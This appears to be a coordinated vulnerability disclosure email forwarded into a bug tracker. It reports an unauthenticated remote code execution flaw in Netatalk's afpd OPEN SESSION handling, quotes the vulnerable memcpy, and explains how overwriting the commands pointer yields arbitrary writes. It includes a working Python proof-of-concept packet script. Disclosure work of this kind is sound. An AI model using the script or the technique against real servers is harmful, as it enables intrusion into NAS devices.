This bug is tracked via https://bugzilla.samba.org/show_bug.cgi?id=13711

AFAICT we ship Netatalk via the SLES12 SDK and openSUSE.

Release is planned for Thursday 20th of December 2018.


Original mail from Jacob Baines <jbaines@tenable.com>

Hey Ralph,

From my point of view it is pretty serious. I'm able to achieve unauthenticated
remote code execution on the latest version of Netatalk (and older versions as
well but I haven't tracked it all the way back yet). As far as the CVE dance
goes, Tenable (my employer) is a CNA so I can assign the CVE and provide MITRE
the appropriate data. Let me describe the bug first though.

As I'm sure you know, one of the first unauthenticated requests sent to
Netatalk's afpd is the OPEN SESSION request which is handled by
dsi_opensess.c. The bug lies is the following for loop (lines 30-42):

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }
  
In particular, the memcpy trusts dsi->commands[i] to specify a size that fits
into dsi->attn_quantum. However, when we look up the sizeof attn_quantum in
dsi.h we find that its only a 32-bit int (four bytes). A malicious client can
send a dsi->command[i] larger than 4 bytes to begin overwriting variables in the
dsi struct.

Now obviously, dsi->command[i] is a single char in a char array which limits the
amount of data the attacker can overwrite in the dsi struct to 0xff. So for this
to be useful in an attack there needs to be something within the 0xff bytes that
follow attn_quantum. From dsi.h:

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */

Of particular interest to me is the commands pointer. This is a heap allocated
pointer that is reused for every packet received (and sent?). Using the memcpy,
an attacker can overwrite this point with the address of their choice and then
all subsequent AFP packets will be written to that location. This is more or
less all an attacker needs to achieve remote code execution (write
whatever/wherever).

I generally like to prove RCE if I'm able to. So my question was, what could I
do to take over execution flow? The simple answer is to write into the
preauth_switch and then use the protocol to invoke the function of my choice. I
have a Seagate NAS that uses Netatalk's afp implementation. I'm able to
read/write/delete files off of the NAS via Netatalk's afpd without
authentication using this technique.

However, there is some good news. I cannot successfully exploit this
vulnerability using Ubuntu's netatalk package. The reason being that they've
compiled netatalk's afpd with -fPIE. Since I don't know any addresses ahead of
time (due to ASLR) I can't easily exploit afpd as a remote attacker. Although
there is a chance that someone who is actually good at exploit development could
get around that (or maybe find a pointer leak somewhere).

So to summarize, Netatalk's afpd is vulnerable to unauthenticated remote code
execution due to a bad memcpy in dsi_opensess.c. The vulnerability allows an
attacker to write whatever wherever. I have a very rough RCE PoC written against
a Seagate NAS that uses Netatalk's afpd if that is useful (I can also provide
pcaps). But perhaps the following is enough. Below is a python script that will
overwrite the server_quantum field with 0xdeadbeef. As you probably know, the
server responds to the client's open session request with the server_quantum so
you'll be to see that we actually overwrote the server_quantum value by looking
at the server response (look via wireshark or whatever - the script itself
doesn't parse the response).

import socket
import sys

def print_usage():
    print "Usage: python " + sys.argv[0] + " <ip> <port>"
    sys.exit(0)

if len(sys.argv) != 3:
    print_usage()

ip = sys.argv[1]
try:
    port = int(sys.argv[2])
except:
    print "Invalid port number."
    print_usage()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
print "[+] Connected!"

data = '\x00\x04\x00\x01\x00\x00\x00\x00'
data += '\x00\x00\x00\x12\x00\x00\x00\x00'
data += '\x01' # attnquant in open sess
data += '\x10' # attnquant size
data += '\xaa\xbb\xcc\xdd' # overwrites attn_quantum (on purpose)
data += '\x00\x00\x00\x00' # overwrites datasize
data += '\xef\xbe\xad\xde' # overwrites server_quantum
data += '\xfa\xce\xfe\xed' # overwrites the server id and client id

sock.sendall(data)

try:
    resp = sock.recv(1024)
    print "Response: '" + resp + "'"
except:
    print "[-] Oh no! We didn't receive a response."

As far as a patch goes, I initially assumed the memcpy was intended to have a
sizeof(dsi->attn_quantum). However, I'm less sure now. The memcpy *implies* that
4 bytes are expected but perhaps that is the mistake? As the protocol isn't well
documented, maybe only 1 byte can be specified? In which case the memcpy is
inappropriate. You would know better than I. At most this feels like a 3 line
change to me though.

Finally, I need to inform you that my employer, Tenable, follows a 90-day
vulnerability disclosure policy. That means, even though we prefer coordinated
disclosure, we'll issue an advisory on January 28th with or without a patch. You
can read the full details of our policy here:
https://static.tenable.com/research/tenable-vulnerability-disclosure-policy.pdf
Also, as I said, I can easily assign a CVE and contact MITRE if needed. I'm
unsure how you coordinate fixes/releases with downstream consumers though.

Thank you for taking the time to read this. If this isn't remotely clear or
whatever then I'm more than happy to flesh out the details We'd greatly
appreciate it if you'd acknowledge receipt of this report. If you have any
questions we'd be happy to address them.